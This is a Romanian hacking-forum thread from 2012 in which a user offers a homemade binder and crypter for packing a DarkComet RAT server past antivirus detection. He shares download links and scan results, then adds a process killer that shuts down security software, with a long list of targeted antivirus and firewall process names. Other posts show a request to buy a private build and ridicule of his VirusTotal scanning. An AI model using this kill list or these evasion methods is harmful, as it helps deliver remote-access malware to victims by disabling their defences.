yakuZza22 Posted February 28, 2012 Report Posted February 28, 2012 (edited) Salutare , va prezint un binder&crypter creat de mine astazi in cateva ore. Nu este cine stie ce si nici FUD nu este dar in proportie de 90% nedetectabil. Inca nu are optiuni foarte avansare , doar pentru fisierele bindate si adaugarea de junk code(mai scapi de cativa antivir) si cam atat. O sa mai lucrez la el saptamana asta.In legatura cu scanurile de pe Virus Total , "desteptaciunea" mea :) a gresit-o aici. Oricum va pun scanurile. BaftaYkZ Binder.zip - downloadVirus Total Scan YkZ Binder Virus Total Scan Binded Files Am folosit Darkcomet 5 Server Edited February 28, 2012 by yakuZza22 Quote
sandabot Posted February 28, 2012 Report Posted February 28, 2012 Iti scanezi propriul crypter pe virustotal ???? Quote
Wav3 Posted February 28, 2012 Report Posted February 28, 2012 Iti scanezi propriul crypter pe virustotal ???? asta mi-a sarit si mie in ochi cand i-am citit post-ul.@YkZ, in ce e facut ? Quote
yakuZza22 Posted February 28, 2012 Author Report Posted February 28, 2012 In legatura cu scanul , am spus inteligenta mea .... EPIC FAIL. Nu e nimic ca il modific putin daca ajunge sa fie asa cautat :) :0E facut in vb net. Quote
DEKAEN Posted February 28, 2012 Report Posted February 28, 2012 de criptat ti-l cripteaza stealer, server dk,la scanat nu ti-l gaseste.dar la rulare server sare antivirusul Quote
yakuZza22 Posted February 29, 2012 Author Report Posted February 29, 2012 It' a work in progress. Continui la el sa rezolv si partea de scantime, maine o sa postez si varianta upgradata. Acum ma chinui sa transform din vechiul antivirus killer bat , sa il transpun in vb net , ceea ce am testat si antivirusu nu zice absolut nimic la el. Quote
DEKAEN Posted February 29, 2012 Report Posted February 29, 2012 abia astept aceeasta versiune.daca se poate sa-mi faci una privata pt mine.platesc:) Quote
gogusan Posted February 29, 2012 Report Posted February 29, 2012 ai luat o sursa de pe undeva, ai modificat-o MADE BY PLM si imprastii prostia ta pe aici pe la noi, altfel nu-mi explic cum plm sa scanezi pe virustotal.esti un programtor desavarsit, pot sa te ating? Quote
yakuZza22 Posted February 29, 2012 Author Report Posted February 29, 2012 Nu cred ca e nevoie de atata "violenta" din partea ta , da nu este in totalitate sursa mea , binderul la baza e foarte simplu , facut cu ajutorul helpului VS , partea de cryptare am creat o din mai multe surse si iarasi cu ajutorul helpului. La sfarsit a iesit ceea ce e aici. Nu cred ca nici un programator nu se foloseste si de "inspiratii". Quote
yakuZza22 Posted February 29, 2012 Author Report Posted February 29, 2012 Am resusit sa fac process killer u , l-am testat im VM si functioneaza la toate cele din lista. Problema este ca am incercat sa il includ in stub si nu reusesc , inca, dar o sa imi iasa pana la urma. Nu are nici o interfata , nu are nici o optiune , simplu cauta procesele indicate in sursa si le terminata , partea buna este ca asteapta sub forma de loop sa termine procesul.ZappPrecess DownloadZappProcess Scan Lista procese --------- Daca mai aveti idee si de alte procese , chiar va rog sa le postati. MultumescccProxy ccSetMgr SNDSrvc SPBBCSvc ccEvtMgr ccApp NMAIN SBServ NOPDB symlcsvc SymWSC UsrPrmpt navapsvc ISSVC zlclient zonealarm zlcli6ent zo3nealarm ewidoctrl vsmon navapsvc NPFMntor navapw32 SAVScan NPROTECT WRSSSDK SpySweeper GBPoll navapsvc NPFMntor NPROTECT NOPDB GBTray NPFMntor GhostTray PQV2iSvc no-spy spyaxe spyaxe SpywareStrike SpywareStrike gcasDtServ gcasServ kavsvc kav mcdetect mctskshd mcregwiz mcagent VsStat Pavsrv51 AVENGINE apvxdwin pavProxy SynTPLpr SynTPEnh Mcshield VsTskMgr SHSTAT nod32krn nod32kui AVGSERV9 AVGCC32 AVGUARD AVWUPSRV AVGNT AVSched32 ASHSERV ASHWEBSV ASHMAISV avgcc avgamsvr avgupsvc Pagent pagentwd pavschedbdoesrvbdmconbdnagentbdswitchxcommsvrlivesrvbdssDefWatchRtvscanavgamsvravgupsvcACKWIN32ADVXDWINALERTSVCALOGSERVAMON9XANTI-TROJANANTSapvxdwinATCONATUPDATERATWATCHAUTODOWNAutoTraceAVCONSOLAVGCC32AVGCTRLAvgctrlAVGSERVAvgServAVGSERV9AVGWavkpopAVKSERVavkserviceavkwctl9AVP32AVP32AVPCCAVPCCAVPMAVPMAvsched32AVSYNMGRAvSynMgrAVWINNTAVXMONITOR9XAVXMONITORNTAVXQUARAVXWBLACKDBLACKICEBlackICECLAW95CLAW95CFCLEANERCLEANER3CMGRDIANCONNECTIONMONITORdefscanguiDEFWATCHDOORSDVP95EFPEADMETRUSTCIPEEVPNEXPERTfameh32fch32fih32fnrb32fsaafsav32fsgk32fsm32fsma32fsmb32gbmenuGENERICSGUARDGUARDDOGHELPIAMAPPIAMSERVICLOAD95ICLOADNTICMONICSUPP95ICSUPPNTIFACEIOMON98ISRV95JEDILDNETMONLDPROMENULDSCANLOCKDOWNLOCKDOWN2000LUALLLUCOMSERVERMCAGENTMCMNHDLRMCSHIELDMcShieldMCTOOLMCUPDATEMCVSRTEMCVSSHLDMGAVRTCLMGAVRTEMGHTMLminilogMONITORMOOLIVEMWATCHNAVAPnavapsvcNAVAPW32NAVENGNAVEX15NAVLU32NAVW32NAVWNTNDD32NeoWatchLogNETUTILSngdbservNGServerNISSERVNISSERVNISUMNISUMNMAINNORMISTNPROTECTNPSSVCNSCHED32ntrtscanNTVDMNTXconfigNVC95NVSVC32NWServiceNWTOOL16PADMINpavproxyPCCIOMONpccntmonpccwin97PCCWIN98pcscanPERSFWPOP3TRAPPOPROXYPORTMONITORPROCESSMONITORPROGRAMAUDITORPROT95PVIEW95RAV7RAV7WINREALMONRESCUERTVSCN95sbservSCAN32SCRSCANsharedaccessSPHINXSPYXXSS3EDITSTOPWSVW3SWEEP95SweepNetSWEEPSRVSWEEPSRV.SYSSweepUpdateSWNETSUPSymProxySvcSYMTRAYTFAKvbcmservVbConsVET32VET95VETTRAYVPC32VPTRAYVSCHEDVSECOMRVSHWIN32VSMAINvsmonVSMONVSSTATWATCHDOGWEBSCANXWGFE95WIMMUN32WRADMINWRCTRLZAPROMINILOGZONEALARM_AVPCCALOGSERVANTI-TROJANANTSAPVXDWINATro55enATWATCHAUTOUPDATEAVGSERV9AVPCCAVPMbd_professeionalbidefbidserverBIPCPbipcpevalsetupbispbs120CDPCLEANERcleaner3CMGRDIANcmon016cpf9x206cpfnt206cwnb181cwntdemodeputydpfsetupDRWATSONdrweb32escanh95escanhntescanhntescanv95EZAntivirus-CNETFASTfirewallfp-win_trialfsav530stbybfsav530wtbybfsav95GBMENUGBPOLLGUARDDOGhacktracersetuphwpeIAMAPPIAMSERViparmorjammerkavlite40engkavpers40engkavpers40engkerio-pf-213-en-winkerio-wrl-421-en-winkerio-wrp-421-en-winProcesssetup161ldprolocalnetLOCKDOWNlockdown2000luauMCSHIELDmfw2enmfweng3.02d30MINILOGMOOLIVEmrfluxmu0311adnav80tryNAVAPW32NAVAPW32ncinst4NDD32NetSpyHunter-1.2netzipNorton_Internet_Secu_3.0_407Norton_Internet_Secu_3.0_407NPF40_TW_98_NT_ME_2KNPROTECTNSCHED32NTVDMnwinst4NWTOOL16nz.caboutpostinstalloutpostinstalloutpostproinstallPADMINpanixkPAVPROXYpcc2002s902pcc2k_76_1436pcc2knt_76_1436pcdsetuppcip10117_0pf2platinPOPSCANPPINUPDTPPTBCPPVSTOPProcExplorerv1.0proportpspfpurgePVIEW95qserverrav8win32engRULAUNCHSBServsetup_flowprotector_ussetupvameevalshellspyinstallshnspfSPYXXSS3EDITst2supftrlsupporter5TAUMONTAUMONtauscanTCTCATCMTDS-3tds-3tfak5titanintitaninxptrjsetuptrojantrap3trojantrap3UPDATEvbcmservVbConsvbustvbwin9xvbwinntwvcsetupvfsetupvnlan300vnpc3000vpfw30svpfw30svscenu6.02d30VSHWIN32vsisetupVSMONVSSTATvswin9xevswinntsevswinpersew9xWGFE95wntwsbgatexpf202enZAPLUSZAPROzapsetup3001ZATUTORZAUINSTzonalm2601ZONEALARM Quote
pr0totypE Posted February 29, 2012 Report Posted February 29, 2012 Ce dume pe baiatul asta.... Vine de la tara si spera sa-i cadem in plasa) Quote
yakuZza22 Posted February 29, 2012 Author Report Posted February 29, 2012 ????? Oraseanule , nu e backdoored , daca asta crezi , sunt membru vechi pe aici , nu stau sa fac glume , testez , invat ...atat fac. Daca te deranjeaza cu ceva spune-mi. Quote
yakuZza22 Posted February 29, 2012 Author Report Posted February 29, 2012 (edited) Varianta nr 2 , inca nu am reusit sa il fac FUD , dar la scantime de la 7 detectari , am scazut la 3 ,cu darkcomet5......gata am reuploadatYkZ Binder + Zapp Process Download--------------------------------------- YkZ Binde Scan--------------------------------------- Zapp Process Scan---------------------------------------Test Server ScanScanuri pe NoVirusThanks Edited March 1, 2012 by yakuZza22 Quote
25aug Posted March 1, 2012 Report Posted March 1, 2012 yakuza nu le mai scana , si vezi ca linku de download nu e bun ^.^ Quote
yakuZza22 Posted March 1, 2012 Author Report Posted March 1, 2012 Am reusit ceva , pana la urma , sa il fac intedetectabil dar o sa am nevoie de ceva ajutor. Totul e ok si binderul si stubul sunt FUD , dar dupa bindare&cryptare , la executarea servarului imi spune "file to big for memory" , imi scapa ceva , am tot studiat care ar putea fii problema , dar nu pot sa imi dau seama. Poate ma ajuta vreun programator avansat din comunitate. MultumescYkZ Binder Download Quote
BlackJokerKode Posted March 1, 2012 Report Posted March 1, 2012 Nu mai face dublu post si nu te mai caca pe tine cu fud,ca nu stii,ca etc. Quote
yakuZza22 Posted March 1, 2012 Author Report Posted March 1, 2012 (edited) Mda , nu inteleg ce de unde veniti voi , habar nu am , daca ai vreun comentariu util sau vreo idee pentru a crea ceva , spune-mi ,te invit frumos sa iesi de pe Threadu meu.Nu sunt nici pusti si nici nu am descoperit acum calculatorul, am spus si mai sus , nu stau de glume si nu imi caut "victime" aici. Asa ca...................ai ceva util sa-mi spui? Edited March 2, 2012 by yakuZza22 Quote
realtekprofi Posted March 6, 2012 Report Posted March 6, 2012 Foarte frumos Felicitari pentru munca depusa. Quote